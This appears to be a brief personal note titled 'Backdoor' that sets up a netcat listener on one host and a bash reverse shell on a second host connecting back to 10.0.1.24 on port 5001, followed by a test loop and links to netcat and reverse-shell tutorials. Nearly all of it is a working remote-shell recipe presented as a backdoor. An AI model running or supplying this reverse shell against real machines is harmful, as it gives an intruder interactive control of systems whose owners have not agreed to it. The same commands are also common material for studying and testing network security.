Backdoor
# @host 1 nc -lvp 5001 # @host 2 bash -i >& /dev/tcp/10.0.1.24/5001 0>&1 # @host 1 while :; do hostname; date; sleep 1; done
Links
https://www.cyberciti.biz/faq/bash-infinite-loop/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.binarytides.com/netcat-tutorial-for-beginners/
https://linoxide.com/linux-how-to/install-use-netcat-command-linux/